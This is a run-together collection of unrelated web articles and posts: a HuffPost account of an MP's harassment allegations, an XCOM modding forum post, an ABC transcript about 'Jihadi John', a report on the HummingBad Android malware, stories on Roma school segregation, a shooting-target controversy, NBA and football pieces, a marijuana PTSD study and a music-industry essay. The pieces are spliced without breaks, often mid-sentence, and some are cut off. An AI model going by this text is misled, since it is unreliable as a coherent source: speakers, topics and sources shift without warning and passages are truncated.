“I can maybe live with this, but could I live with myself if, for example, in 10 years we discovered that there were 10 or 15 other [victims] since then?”
What she really wants, she said, is for Pacetti to apologize to her and for him to get help.
“If I am able to believe that his excuses are truly sincere, and I see that he is taking actions to ensure he doesn’t hurt other people, for example, if he is in therapy to correct his behaviour towards women, and I see that he is making sincere process, for me that would probably be enough,” she said.
The MP said the Liberals asked her what she wanted them to do. She said they told her an investigation wasn’t going to be easy.
“I told them that in the end what I want is that this doesn’t happen to anyone else — and that I don’t want this to become public,” she said.
She doesn’t want her name to get out in the media. “Every time I am forced to talk about it and to think about it, I relive the emotions, and they are vivid,” she said.
“I don’t want to speak at a school and have a 10-year-old lift his hand up and ask me about this because he read it on the Internet.”
“We never wanted to hurt anybody. Except that we were in this situation where you don’t know what to do, because there is no solution that makes any sense,” she said.
“For a female MP who is harassed or assaulted by a parliamentary colleague, there is nothing to do while you are in active politics, because if you file a criminal complaint, they will destroy your reputation, they will dig all sorts of things out to cast doubt on your credibility and you’ll immediately have no political career.”
“There is no process within Parliament [either]. There is nothing to do without the consequences being almost larger or at least as large for the victim as for the aggressor,” she added.
She believes the Liberals acted appropriately in meeting her and her colleague, but she doesn’t think Trudeau should have kicked Pacetti and Andrews from caucus.
“I don’t think it was necessary to suspend them immediately. There was no urgency to do this.”
She just wanted the harassment to end, she said. She reached out to Trudeau “only to help protect a friend,” she said.
She would have liked the Liberals to send a discreet letter to the Speaker asking for a third-party probe rather than make their actions public, she said. Perhaps Trudeau could have recommended behavioural therapy, she suggested.
Trudeau’s spokeswoman Kate Purchase told HuffPost that “at no time were other remedies ever raised as potential options by the other [MPs].”
“Mr. Trudeau felt, given the seriousness of the allegations raised with him, he had a duty to act and had two options. One was to keep the two MPs in caucus, one was to remove them from caucus pending an investigation,” Purchase said.
The NDP MP, however, said she felt Trudeau’s “strong action” may have been too hasty.
“It may have caused more problems, which we could have avoided,” she said. “Now that the story is out publicly, these two individuals are probably having family problems and couple issues and the chance that they go through an intelligent process is diminished,” she said.
She said she is concerned the men receive due process. At the same time, she acknowledges that the residents in Pacetti’s Montreal Saint-Léonard–Saint-Michel riding and Andrews’ Avalon riding in Newfoundland might be interested in knowing the allegations against them. “But I don’t think they need to know the details,” she said.
“The problem is: No matter [what happens] at the political level you’re screwed with this,” she said. “I did not want to destroy his reputation. I did not want to destroy his life. It is not a desire for vengeance that I have, it is only a desire to be heard, a desire to have an apology, a desire, in the end, to heal. I need to move on to other things, I need to continue my life,” she said, her voice cracking.
She told HuffPost she wants the public to know not only that she did not mean for this to become public but that there are many other male MPs who do act appropriately towards women. She said she has had dinner with other male MPs, had them over to her apartment, to her home.
“I never had any problems, it has always been friendly and it is not everybody who acts this way. There are plenty of people in all parties who are respectful towards women and with whom you can have a discussion equal to equal.”
The NDP MP said she has spoken to Pacetti a few times since the incident. They’ve talked about the weather and banal things. “It is never I who wants to speak with him.”
She said she hopes to return to work this week or maybe next.
“I am afraid that if I wait too long, I will develop panic attacks. I’ve already had a few, but I am going to go back and we’ll see what happens.”
Online Form - Parliament Hill information
Like Us On Facebook
Also on HuffPostA quick glimpse (( Finally! )) over the multiple LW files which are directly related to much of my ReCLR_LW2 design and subsequent tasks has been quite instructive. I can only conclude and predict this...
1) Both my Tactical HUD (Blackened and custom Perks, etc) and the most recent DeployFormation(with Numerics) MODS installed correctly and from the limited amount of small tests, they perform exactly as they should. So, these two major features are going to be very easy to distribute... once #2 & #3 below are completed.
2) MANY more textures scanning is now becoming necessary. 127+ Flags, each with its specific 256x128 Strategic (Barracks & Cards) layer versions will require a tedious (and long) TexMod task to search for every HashTag codes for them. Four DIF files are also needed for the Tactical Armor badges. Luckily, i've already made the custom "OVALS" and it will only be a matter of dropping the correct items in their appropriate UV boxes.
EDIT ( Just a small day later! ); That first task went rather well. The whole Flags system is in place and works as smooth as can be. I took this opportunity to make the Barracks-List buttonized textures much less "shiny" while calibrating the Armor Oval Shapes for quicker rendering -- it's a matter of shadow filtering where the UI Engine reflexion materials produce less weird effects when Troopers are zoomed in during the Shots.
3) Classes & MECs brand new Icons. Again, this represents a whole new set of textures that will require TexMod-Scans, my custom colors, some design steps, etc. I had plans for tricky custom versions for a few of those but let's concentrate on the stock LW graphics first.
EDIT ( A few hours more! ); Another smooth ride -- almost. Here's the thing --- the process of re-coloring these Icons is complex (visually). It doesn't take much to create some stuff and have results that aren't clear enough when shown on the various UI contexts. I'll explain further with snapshots below...
First, the MECS;
There really was nothing wrong with X's designs, except for the fact that his "Half-Cuts" principle didn't render clearly (enough) in my coloring schema. Soooo, i've made some of my own which defines their basic Classes in a somehow better way along with key bottom tiny symbols that exposes one principal perk for each of them. Note the framing Browns, this is done to match with their types in text.
Second, the regular Classes;
The basic glyphs (Sniper, Gunner, Medic and Assault) pulled from Vanilla core Classes didn't exactly make the distinction between LW custom style and EW features for my taste. So they were edited slightly and then, colored as usual. I used the "wider" Gene symbol that goes outside frames. They are a bit easier to detect even when combined with the PSI graphical structures.
Note that the Assault-Psi icon above isn't valid... this is due to a LW code compile error which will need to be fixed later.
Thirdly, the Supra-Classes;
These were absolutely fun to adapt within my coloring methods. Two shades of four basic colors (RYGB), various sizes, relative locations of super-imposed layers without breaking (too badly) the visual balance. White-Greyish frames being a direct reference to the Rookie Rank.
Sooooooo -- to hell (again) with the Firaxis LightCyan for the Frames. Distinctive colors *DO* put the many variable sets into better focus (If PSI can do it.. so should we), AFAIC.
These (buttonized) Flags look good!! Agreed?
And - Fourth;
Here's what i am planning to do next... i'll probably provide alternate Classes designs in custom sets (external to the core translated assets from LW) for which a supplemental TPF textures file will need to override the basic LW2_ALL versions.
Quick peek at the current Engineer result ( Although, i must say X's "Compass" still is a fantastic idea! );
Easy... Two wrenches (Repair) and the exploding Grenade for demolition duties!!
This is going to involve more great working (creatively) FUN!
****
Everything else that remains seem to match with the LW1 principles and other various images already created.
A week or two, maybe.
Be patient, i'll get there.
Edited by Zyxpsilon, 04 March 2015 - 05:53 PM.Transcript for 'Jihadi John' Now the Most Wanted Man In the World
Now for the global manhunt for the most-wanted man in the world. That brutal Isis executioner. We're now learning his face and name, and bit by bit how he grew from a british schoolboy to a merciless killer. ABC ease's chief investigative correspondent with the details. Reporter: New details tonight offer clues about the path from british school boy to jihad for Mohammed emwazi. At the age of 11, teachers already saw a violent streak. And he told them of his love of graphic video games, including duke nuke'em, time to kill. Ten years later, as a London college student sporting an American baseball cap, emwazi earned a degree in computer programming. And now, authorities and analysts say they believe emwazi is using those computer programming and gaming skills as part of the Isis video propaganda team. We'll begin to slaughter your people on your streets. Reporter: Not only casting himself as the front man in the gruesome beheadings, but also working behind the scenes with a group of young men with british accents and laptops, as seen in this recruitment video featuring yet another Britain recruit. Now, this is where most of the media work happens, on this little desk here. Reporter: Former hostages describe emwazi as one of four especially sadistic british captors who they nicknamed the beatles, John, George, Paul and Ringo, who especially targeted the Americans in their custody. We were together all the time even when they brutalized us. Reporter: And for all of emwazi's notoriety as Jihadi John, the former hostages say the one they called George was the true leader of the group. All four have been high on the U.S. Air strike target list even before the name of Jihadi John became public. British authorities had kept emwazi's name secret in hopes he might give away his location by trying to contact family or friends back here in London. But as of tonight, he is believed to be still alive in Syria, part of an Isis group that continues to hold at least 15 to 20 other hostages. Tom? ABC's Brian Ross in London. Brian, thank you. We now know who he is but where is he is now the biggest question. ABC's chief global affairs correspondent, Martha Raddatz, spent the day at the Syrian border where Jihadi John is supposedly hiding. Martha, the big question tonight, why can't we catch him? Reporter: Tom, the reason it's been so hard to try and find Jihadi John, is that he doesn't use cell phones. He doesn't use satellite phones, no tracking devices. Even though he taunts the west in the videos and is so bold, he's very good at hiding. An even bigger reason |
between each group's ceiling and its floor. Try to find one as high as the Warriors'; if it does exist, it won't be around for long.
Just don't expect to ever hear that from these players themselves. There just isn't anything worth saying since their statistics, stature and ongoing development have already ended this debate.
Unless otherwise noted, statistics used courtesy of Basketball-Reference.com and NBA.com.
Follow @Hoops_GuruTucker Carlson had Newsweek’s Kurt Eichenwald on his show today and, from the very start, the interview seemed to go off the rails. Carlson asked Eichenwald if he considered himself a journalist which caused Eichenwald to laugh and quip, “When did you stop beating your wife?”
Things really never got any better. Carlson confronted Eichenwald with a series of his own tweets until the author became irritated. “Hold on, hold on here, Tucker,” Eichenwald interrupted. “One of the things I want to make sure of, you have a real habit of taking a lot of things out of context,” he said. “If you’re going to talk about a tweet, let’s talk about a tweet. Give me what it says and we can talk about it,” he continued.
“Okay, do you want me to read some of your tweets?” Carlson asked. “Read me one,” Eichenwald agreed. This seemed promising but was immediately followed by more disagreement and crosstalk. “Here, you know what, let’s play the game another way,” Eichenwald announced. He then produced a prop binder the cover of which read “Tucker Carlson falsehoods.”
Eventually, Carlson did manage to ask about a tweet Eichenwald had sent out before the election alleging Trump had been institutionalized in a mental hospital in the 1990s. Here it is:
Asked to explain this, Eichenwald’s response went on for a full minute before he finally got to this caveat, “now let me say I’m talking about reporting process, so I’m saying here is what I was told.” At this point Carlson jumped in, “Was he in a mental hospital or not?”
What follows is three more minutes of Carlson asking Eichenwald to answer the question (“Was he in a mental hospital or not?”) and Eichenwald claiming Carlson is trying to prevent him from answering. Finally, Carlson has had enough. “Can you stop this is not interesting,” he says. “No, Tucker, I am not allowing you to make an accusation and then not allow me to answer,” Eichenwald replied.
Nearly eight minutes into the interview, Eichenwald still has not answered the question about his tweet. “How about this,” Carlson says, “I’m going to give you 30 seconds to answer this question ‘Do you have evidence that he was institutionalized in a mental hospital in 1990?’ Thirty seconds.”
Instead of answering, Eichenwald begins talking about the CIA. This goes on for a full minute before Carlson cuts him off adding, “I don’t mean this in a cruel way, I would have real concerns if I were one of your editors.”
This is probably the least productive, most entertaining interview you’ll see for some time. It’s an instant classic.
https://www.youtube.com/watch?v=hs1LABi5eCAHummingBad – a strain of malware discovered by Check Point in February 2016 that “establishes a persistent rootkit on Android devices, generates fraudulent ad revenue, and installs additional fraudulent apps” – has now infected 10 million devices, netting the cyber criminal gang behind it some $300,000 a month.
The potential for further infection is huge: In a new report (From HummingBad to Worse), Check Point explains that Yingmob – the Chinese mobile ad server company responsible for HummingBad – also provides a number of legitimate advertising and analytics services, effectively giving it control over “an arsenal of over 85 million mobile devices around the world.” Yingmob is also associated with the iOS malware known as Yispector.
Android operating systems affected by HummingBad
HummingBad targets all versions of the Android operating system, including the latest, Marshmallow. The distribution of victims is:
1% Marshmallow
7% Lollipop
50% KitKat
40% Jelly Bean
2% Ice Cream Sandwich
The Check Point report observes that “Quick, easy access to sensitive data on mobile devices connected to enterprises and government agencies around the globe is extremely attractive to cybercriminals and hacktivists.
“Without the ability to detect and stop suspicious behavior, these millions of Android devices and the data on them remain exposed today.”
BYOD and mobile device security
Organizations that support BYOD (bring your own device) need to be especially wary of employees using Android devices to access corporate networks and work systems.
IT Governance’s BYOD Policy Template Toolkit contains a complete, customizable BYOD policy and Acceptable Use Agreement, together with implementation guidance, and is usable either on its own or with any other ITGP documentation toolkit.
Fully up to date with the official guidance on data management and security from the UK’s Information Commissioner, the BYOD Policy Template Toolkit puts affordable best practice at the fingertips of CIOs and security managers everywhere.Most Roma unlawfully placed in schools for disabled children
Prague - European Roma organizations said at a conference held on 12-13 November in Prague that the Czech government has failed to prevent segregation of Romani children in special primary schools for children with mental disabilities.
The charge, backed by a research conducted earlier this year, comes exactly a year after the European Court of Human Rights ruled that such a practice represents unlawful discrimination under international laws. In the case, the families of 18 Romani children complained that they had been placed in special schools as a result of their ethnic origin.
Special schools still exist
A school law effective from 2005, intended to eliminate discrimination of Roma, abolished special schools and replaced them with so-called practical schools. The reform also introduced preparatory classes and Romani teaching assistants at standard primary schools to facilitate the integration of children from disadvantaged backgrounds.
Despite the reform and the ruling of the Strasbourg court, Romani children remain over-represented in former special schools, now relabelled as practical schools, where they are taught according to substandard curriculum designed for children with mental disabilities.
According to research conducted by the European Roma Rights Centre (ERRC) and the Roma Education Fund (ERF), Romani children represented more than a half of the student population in 14 of the 19 schools visited by the researchers.
"The alarming thing is that school directors, parents and even pupils themselves put an equals sign between 'practical school' and'school for Roma'," says Tara Bernard, who participated in the research project.
Yet, some Czech education experts warn against the Roma groups' recommendation that practical schools be abolished and Romani children fully integrated in standard primary schools. "Our education system is not ready for that. We would only expel those children from schools. They would just quit," says sociologist Ivan Gabal.
Rushed decisions
The Roma organisations behind the research point out that the pedagogical-psychological counselling centres that decide about the placement of children in practical schools use the same methodology they used before 2005. The researchers have found out that the decision about a Romani child is often made in one session that lasts 15 to 30 minutes.
"The Czech Republic does not have a law that would order a repeated examination of children in practical schools," says Bernard. She adds that a vast majority of these children will never be able to go to continue with secondary or tertiary education.
Representatives of the pedagogical-psychological counselling centres argue that Romani children are being transferred to practical schools at the request of their children.
The ERRC-ERF research confirms this, but its authors point out that Romani parents often do so because they themselves used to be segregated in special schools, and because they do not have enough information about what the placement in a practical school will mean for their children.
The lack of education among the Romani community then translates into a high unemployment rate. According to a survey by the World Bank, the overall quality of education among Roma has been constantly decreasing since 1989.
The Roma groups also criticise a lack of any statistics. The Education Ministry has only recently started collecting data on pupils' nationality, the language they speak at home and the type of school and grade they attend. So far only estimates have been available.Zombie Industries Screengrab Although target vendor Zombie Industries couldn't see anything wrong with its life-sized, big-breasted, dead-eyed shooting target called "The Ex"— who even "bleeds" in seductive splatters around her ripped tank top and lacy bra when shot — Amazon was quick to pull the item from its virtual shelves.
"We are thrilled to see Amazon's fast response in removing the bleeding ex-girlfriend shooting target from their website," Nita Chaudhary, co-founder of women's group UltraViolet, said in a press release. "The fact that it exists is yet another reminder of what is at stake for women with gun safety legislation. The very presence of a gun in a domestic violence situation increases the chance that the woman will be murdered by 500%. We are fed up, and we demand better."
In less than 24 hours, 63,000 people signed a petition to pull "The Ex."
Zombie Industries, however, saw the ex-girlfriend target as a sign of equality rather than objectification. Its website reads:
Zombie Industries realizes that the Zombie virus can affect any living creature regardless of race, gender, religion, ethnic background, or species. The Zombie virus does not discriminate and neither does Zombie Industries. We take preparation for the Zombie Apocalypse seriously, which is why we strive to have all groups of undead monsters represented in our product selection. In addition to the Ex Girlfriend Zombie, we currently sell 15 male zombies, 5 animal zombies & 2 aliens… to discriminate against Women by not having them represented in our product selection would be just plain sexist. All Zombie Industries' products are fictitious characters... Zombie Industries is sorry if anyone takes offense to any of our products. But we also have a responsibility to our customers to provide the best possible products to help them prepare for the Zombie Apocalypse.
Positive user reviews include: "This Zombie Bitch is awesome, reminds me of a girl I knew in High School, My LMT LM308MWS should put a stop to the undead bring them on!!! Later Party till you drop Corvette forever!!!!!"
Zombie Industries also got in trouble with the NRA this week for displaying a zombie shooting target that strikingly resembled President Obama at its convention.
This is what "The Ex" looks like after it has been shot. The image is actually saved as "girl-fucked.jpg."
Zombie Industries
She gets the same fate as Nazis...
Zombie Industries
And targets depicting Taliban operatives.
Zombie IndustriesAs the campaigning for the Indiana and North Carolina primaries comes to a close, the Democratic presidential candidates are letting loose on one another over the TV airwaves.
Just hours after Hillary Rodham Clinton revealed a new advertisement attacking Barack Obama for not supporting a gas tax holiday, the Obama camp is hitting back with a negative spot called “Hometown.”
Mr. Obama’s advertisement accuses Mrs. Clinton of engaging in “the same old negative politics.” It points to a line from an editorial in Mrs. Clinton’s “hometown” paper — The New York Times — that said her campaign was taking “the low road.”
Mrs. Clinton’s commercial implied that she was the only candidate that understood the struggles of the working class, but Mr. Obama’s TV spot tries to make the case that her assertion is not true.
“Hometown” does not explain why Mr. Obama opposes the gas tax suspension — or even mention it — but it states that “the same old Washington politics won’t fix our problems.”
Mr. Obama understands that voters are frustrated with the war, a sagging economy and high gas prices, the advertisement says. What’s more, he is the candidate who will approach the problems with a fresh, outside-Washington perspective.
“We need honest answers,” an announcer concludes, “and a president we can trust.”
Here’s the full text of “Hometown”:INDIANAPOLIS (WTHR) - When Pacers’ general manager Kevin Pritchard made the decision to acquire Bojan Bogdanovic this off-season, I checked his NBA stats and other analytics and came to the following conclusion:
Meh.
Paul George’s replacement? Really? And while we’re at it, when is Glenn Robinson III coming back from injury? Bogdanovic was supposed to be known as a long-range bomber, but his lifetime.367 percentage from three was only slightly better than the league average. And his defense, well, he was ranked by ESPN as the 466th out of 468 players last season, hardly what this Indiana team needed in terms of a wing defender.
Maybe it was ignorance on my part, but I thought about Bogdanovic this way: He was a typical Euro-sniper who stood in the corner, waited for the ball to be passed his way, and chucked it from deep. Then, on the other end, he was a defensive cipher, due either to a lack of athleticism or a general distaste for guarding people – or both.
Well, if we were wrong about Victor Oladipo and Domantas Sabonis – OK, we were painfully, happily wrong about those two guys – we (and I add myself here) were completely off-base when it came to the Bosnian-born Croatian who the Pacers acquired this past off-season as a free agent. Like the aforementioned rising stars, Bogdanovic has also been a pleasant surprise who has performed in ways that his previous numbers and prevailing reputation suggested were absurd, if not impossible.
Three-point shooting? He came into Wednesday night’s game against the Chicago Bulls shooting 44.5 percent from behind the arc, and has been especially effective from the corners.
Two-point shooting? He came into Wednesday night’s game shooting 55.9 percent on two-point field goals.
Here’s how good he’s been offensively, according to my resident (unpaid) stats guru, Grant Afseth: Bogdanovic leads the entire NBA in points per possession for any player who has logged at least 250 possessions (1.169 points per possession).
This is what most of us didn’t know: Bogdanovic, or Bogey if you prefer, has a well-rounded offensive game that goes far beyond standing outside the arc and letting it fly. He is effective on the pump-fake-and-drive. He is terrific in the pull-up game. He isn’t PG, but he’s been a perfect complement for a team that is playing terrific basketball and in the midst of a six-game homestand when they figure to put some distance between themselves and the eighth playoff spot in the Eastern Conference.
“He can shoot from three,’’ said assistant coach and defensive guru Dan Burke, “but his pull-up game is money. He’s got that soft touch off the glass. There’s a real quiet confidence about him that I like, an internal fire. For a while, I was like, 'Does this kid have a pulse?' Yeah, he does. When you evaluate guys, you ask, 'Is he a winner?' Yeah, I think he’s a winner.’’
Indiana Pacers' Bojan Bogdanovic (44), from Croatia, is fouled by Cleveland Cavaliers' LeBron James (23) in the second half of an NBA basketball game, Wednesday, Nov. 1, 2017, in Cleveland. The Pacers won 124-107. (AP Photo/Tony Dejak)
This, though, is where we move into the realm of the unbelievable with this player: He’s not only a decent defender, he’s reached the point where he’s taken on folks like LeBron James and DeMar DeRozan and done a better-than-acceptable job on them. No. 466 out of 468? Really? Not any longer. Now, we’re not saying he’s a stopper or anything, but he’s good enough, and his offensive output combined with his passable defensive work have made him a central part of the Pacers’ renaissance this season.
"A big part of it is that when I played in Brooklyn, we were giving up 120, 130 points every night, so it’s hard to say who plays good defense and who doesn’t play defense,’’ he said. “…I read all these stories about how I am a bad defensive player, so I came here to prove that I’m not bad, that I can play defense. Almost all the league knows I can shoot, so I wanted to prove something else. Those are the two things I tried hard to improve last summer, my ball handling and footwork for defense, and it’s paying off. I’m trying to challenge myself to defend all those stars and the coach believes in me and that gives me the confidence to play well against them.’’
Did we mention that LeBron will be Bogdanovic’s defensive assignment when the Cavaliers come to Bankers Life Fieldhouse Friday? Here’s the thing, though: The Pacers have no hesitation about sticking Bogdanovic on guys like LeBron, DeRozan, James Harden and others. It’s not just his growing defensive ability, but he has the ability to make those same superstars work hard on their defensive end as they attempt to run around and guard a player who moves beautifully, and unceasingly, off the ball.
“That was something I saw when we played against him when he was in Brooklyn,’’ Pacers coach Nate McMillan said. “Paul [George] had to guard him and had to chase him around screens all night and he did a really great job of moving without the ball. A guy like that is so hard to guard. He’s reading what the defense is doing and using screens and constantly moving.’’
If you don’t think Bogdanovic has been a reasonably good defender, just listen to Burke, who is generally a crusty curmudgeon who throws around compliments like manhole covers. Even he’s been impressed by Bogey’s work on the defensive end.
“In Brooklyn, they put him on some tough assignments, but I figured it was because they didn’t have much there,’’ Burke said. “But he takes great pride in it. He studies opponents. He wants to know where his man is going to be and he mentally prepares. Honestly, he’s been a joy to coach.
“He’s been more versatile defensively than I thought he would be. He’s shown a real talent and skill to guard every position. He’s got a lot of savvy in one-on-one situations. You saw the great job he did against DeRozan when Toronto was in here. He’s got good length, he knows how to space guys correctly, he gets into guy’s bodies and he does it skillfully, so it’s not a foul. So I’ve been surprised at how versatile and how wide his skill level is on defense.’’
Bogdanovic is also the product of the European basketball system, which puts great emphasis on practice and skill development – far different from America’s AAU, where it’s all about games, so many games. He grew up in Mostar, Bosnia-Herzegovina, and played 10 years overseas. He was drafted at the top of the second round by Miami in 2011, but didn’t come to the States until 2014. He did three years in Brooklyn and one year in Washington before the Pacers, who desperately needed a long-range shooter, signed him as a free agent this past off-season.
In the offseason, he still goes back home to Mostar, a city that, like so many cities in that impossibly complex country, was badly destroyed during a series of internecine wars that raged in his part of the world during the early 1990’s. He was just a small boy when the wars were being waged, but he’s heard plenty about the violence from his family, and notes the physical scars the wars left in Mostar and so many of cities in the former Yugoslavia.
“My city is still divided by the [Neretva] river, Croatia and Bosnia, Catholic and Muslim,’’ he said. “The situation is fine right now but it’s not normal. We still talk about it [the war] and the newspapers talk about it all the time. It should be past but the government is still fighting all the time. It’s affected all of us.’’
For now, Indy is a second home, and it looks like a perfectly comfortable fit both for the player and his rising team. He’s not the guy we thought he was. Good thing, as it turns out.
Want more Kravitz? Subscribe to The Bob Kravitz Podcast on iTunes, Google Play, Stitcher or TuneIn. If you have a good story idea that's worth writing, feel free to send it to [email protected] (AP) — The federal government has signed off on a long-delayed study looking at marijuana as a treatment for veterans with post-traumatic stress disorder, a development that drug researchers are hailing as a major shift in U.S. policy.
The Department of Health and Human Services’ decision surprised marijuana advocates who have struggled for decades to secure federal approval for research into the drug’s medical uses.
The proposal from the University of Arizona was long ago cleared by the Food and Drug Administration, but researchers had been unable to purchase marijuana from the National Institute on Drug Abuse. The agency’s Mississippi research farm is the only federally-sanctioned source of the drug.
In a letter last week, HHS cleared the purchase of medical marijuana by the studies’ chief financial backer, the Multidisciplinary Association for Psychedelic Studies, which supports medical research and legalization of marijuana and other drugs.
“MAPS has been working for over 22 years to start marijuana drug development research, and this is the first time we’ve been granted permission to purchase marijuana from NIDA,” the Boston-based group said in a statement. The federal government has never before approved medical research involving smoked or vaporized marijuana, according to MAPS.
A spokesman for the group said organizers have called off a protest over the stalled study that was planned for later this year.
While more than 1 million Americans currently take medical marijuana — usually for chronic pain — rigorous medical research into the drug’s effects has been limited, in part due to federal restrictions.
Marijuana remains a Schedule I substance under the federal government’s Controlled Substance Act. That means the drug is considered a high-risk for abuse with no accepted medical applications.
In the past NIDA has focused its research on the risks of drug abuse and addiction, turning away researchers interested in studying the potential benefits of illegal substances.
Even with the latest green light from the Health and Human Services department, MAPS and the University of Arizona Professor Suzanne Sisley must still get approval from the Drug Enforcement Administration, though they expect that clearance to come more quickly.
Sisley’s study will measure the effects of five different potencies of smoked or vaporized marijuana in treating symptoms of PTSD in 50 veterans.
The Veterans Administration estimates between 11 and 20 percent of soldiers who served in the recent Iraq and Afghanistan wars have PTSD, which can cause anxiety, flashbacks, depression and sleep deprivation. About 7.7 million American adults are estimated to have the disorder.
Physicians have long speculated that marijuana could be used to calm parts of the brain linked to overstimulation and anxiety, though little formal research has been conducted.
The American Medical Association has called for a change in marijuana’s classification to make it easier for research to be conducted. The current classification prevents physicians from even prescribing it in states where medical use is permitted. Instead, they can only recommend it to patients who can then buy it through a government-approved dispensary in most states.
Parents of children with epilepsy have petitioned lawmakers in several states to grant access to a strain of medical marijuana known as “Charlotte’s Web,” which contains low amounts of the drug’s active ingredient, THC. Available in liquid form in Colorado, the strain is believed to be effective in controlling seizures in children, though the Institute of Medicine and the American Medical Association have said more research needs to be doneGet the biggest Aston Villa FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Rushian Hepburn-Murphy has trained with the Aston Villa first team ahead of another potential senior appearance at Sunderland.
The 17-year-old striker has been drafted into the squad to boost Villa's attacking options with Jordan Ayew serving a one-match ban.
To see more photos of Hepburn-Murphy, Aly Cissokho and Gary Gardner click on the training gallery above
Hepburn-Murphy became Villa's youngest ever Premier League player when he made a substitute cameo in last season's 4-0 victory over the Black Cats in March.
He was just 16 years and 176 days when he came on as an 83rd minute replacement for Christian Benteke. He has not appeared since for the first team but has been in good form for the under-18s and under-21s.
Aly Cissokho is also back in training after Remi Garde, who worked with the player at Lyon, recalled him from his loan spell at Porto.
Cissokho will challenge for the left-back spot which has recently been occupied by right-footed utility man Leandro Bacuna, with Jordan Amavi out for the season with cruciate ligament damage.
Along with Ayew, Ashley Westwood is suspended too for totting up five bookings with a yellow card in Monday's defeat at Norwich.
It leaves Villa a man down in midfield and Gary Gardner, whose last appearance was on the final day of the 2012-13 season, has been training with the first team squad.On Saturday afternoon, Joe Thomas Sr. fulfilled his lifelong dream of playing college football. The 55-year-old, who has practiced with South Carolina State for the better part of four seasons, carried the ball for three yards in the first quarter of the Bulldogs’ game against Savannah State on Senior Day.
The NCAA does not keep age statistics, but Thomas Sr. is believed to be the oldest D-I football player ever to take the field.
“It was the happiest day of my life,” Thomas told reporters after the game.
Watch his carry below.
55 year old Joe Thomas Sr. >>> Trent Richardson pic.twitter.com/h3MEXu0BsI — Nuby (@WentzMVP) November 19, 2016
Thomas was raised in Blackville, South Carolina, a small town about 40 minutes from Orangeburg, where South Carolina State’s campus is located. Throughout his childhood, Thomas was partially deaf, but a doctor helped him clear his ears when he was 17. During his junior and senior seasons at Blackville High School, he was a star defensive lineman and a promising running back. But he did not get the opportunity to play college football.
Age is just a number. 55-year-old Joe Thomas Sr. being carried by his @SCStateAthletic teammates. @wachfox pic.twitter.com/DvM2uTolGT — Mike Uva (@Mike_Uva) November 19, 2016
When Thomas’s son, Joe Thomas Jr.—who now plays for the Green Bay Packers—enrolled at South Carolina State, Thomas Sr. decided to join him in the classroom and on the football field. Although he never had the opportunity to play in a game with his son, Thomas Sr. stuck with the football team with the hopes of getting in a game. On Saturday, he accomplished that goal.
To read the original story on Joe Thomas Sr.’s remarkable life, click here.A screenshot of www.amberalert.gov captured on Oct. 6, 2013. The Amber Alert website was a victim of the government shutdown.
The Department of Justice's Amber Alert website went back online Monday a day after it displayed a sparse, white screen with a message that it was a victim of the government shutdown.
"Due to the lapse in federal funding, this Office of Justice Programs (OJP) website is unavailable," the message read Sunday, just below a U.S. Department of Justice seal.
The website, which provides information, statistics and background about Amber Alerts and a link to the National Center for Missing & Exploited Children for active alerts, was back online Monday morning. The shutdown did not affect the actual alerts system.
The National Center for Missing & Exploited Children posted a message on its homepage Monday, addressing the shutdown and clarifying that the alert system was still operating.
"The distribution of AMBER Alerts has not been affected by the recent government shutdown," the message stated.
The process for issuing an Amber Alert, an emergency alert system designed to help find abducted children, is determined on a state-by-state basis. California Highway Patrol officials told NBC4 that if an Amber Alert is issued in California, authorities will notify the media.
California recently used the Amber Alert system when a San Diego County man killed a close friend and her child, then kidnapped her daughter, Hannah Anderson, a teenager. FBI agents later found her safe and fatally shot her captor in Idaho, after hikers happened upon the pair in the wilderness and later saw media reports about her case.
More Southern California Stories:In their many (justified) laments about the trajectory of their profession in the digital age, songwriters and musicians regularly assert that music has been “devalued.” Over the years they’ve pointed at two outstanding culprits. First, it was music piracy and the futility of “competing with free.” More recently the focus has been on the seemingly miniscule payments songs generate when they’re streamed on services such as Spotify or Apple Music.
These are serious issues, and many agree that the industry and lawmakers have a lot of work to do. But at least there is dialogue and progress being made toward new models for rights and royalties in the new music economy.
Less obvious are a number of other forces and trends that have devalued music in a more pernicious way than the problems of hyper-supply and inter-industry jockeying. And by music I don’t mean the popular song formats that one sees on awards shows and hears on commercial radio. I mean music the sonic art form — imaginative, conceptual composition and improvisation rooted in harmonic and rhythmic ideas. In other words, music as it was defined and regarded four or five decades ago, when art music (incompletely but generally called “classical” and “jazz”) had a seat at the table.
When I hear songwriters of radio hits decry their tiny checks from Spotify, I think of today’s jazz prodigies who won’t have a shot at even a fraction of the old guard’s popular success. They can’t even imagine working in a music environment that might lead them to household name status of the Miles Davis or John Coltrane variety. They are struggling against forces at the very nexus of commerce, culture and education that have conspired to make music less meaningful to the public at large. Here are some of the most problematic issues musicians are facing in the industry’s current landscape.
1. The Death of Context
Digital music ecosystems, starting with Apple’s iTunes, reduced recordings down to a stamp-sized cover image and three data points: Artist, Song Title, Album. As classical music commentators have long argued, these systems do a poor job with composers, conductors, soloists and ensembles. Plus, as I argued at length in a prior essay, they’re devoid of context. While there are capsule biographies of artists and composers in most of the services, historic albums are sold and streamed without the credits or liner notes of the LP and CD era. The constituency of super-fans who read and assimilate this stuff is too small to merit attention from the digital services or labels, but what’s lost is the maven class that infuses the culture with informed enthusiasm. Our information-poor environment of digital is failing to inspire such fandom, and that’s profoundly harmful to our shared idea about the value of music.
2. Commercial Radio
It’s an easy target, but one can’t overstate how profoundly radio changed between the explosion of popular music in the mid 20th century and the corporate model of the last 30 years. An ethos of musicality and discovery has been replaced wholesale by a cynical manipulation of demographics and the blandest common denominator. Playlists are much shorter, with a handful of singles repeated incessantly until focus groups say quit. DJs no longer choose music based on their expertise and no longer weave a narrative around the records. As with liner notes, this makes for more passive listening and shrinks the musical diet of most Americans down to a handful of heavily produced, industrial-scale hits.
3. The Media
In the 1960s, when I was born, mainstream print publications took the arts seriously, covering and promoting exceptional contemporary talents across all styles of music. Thus did Thelonious Monk wind up on the cover of TIME magazine, for example. When I began covering music for a chain newspaper around 2000, stories were prioritized by the prior name recognition of the subject. Art/discovery stories were subordinate to celebrity news at a systemic level. Industry metrics (chart position and concert ticket sales) became a staple of music “news.” In the age of measured clicks the always-on focus grouping has institutionalized the echo chamber of pop music, stultifying and discouraging meaningful engagement with art music.
4. Conflation
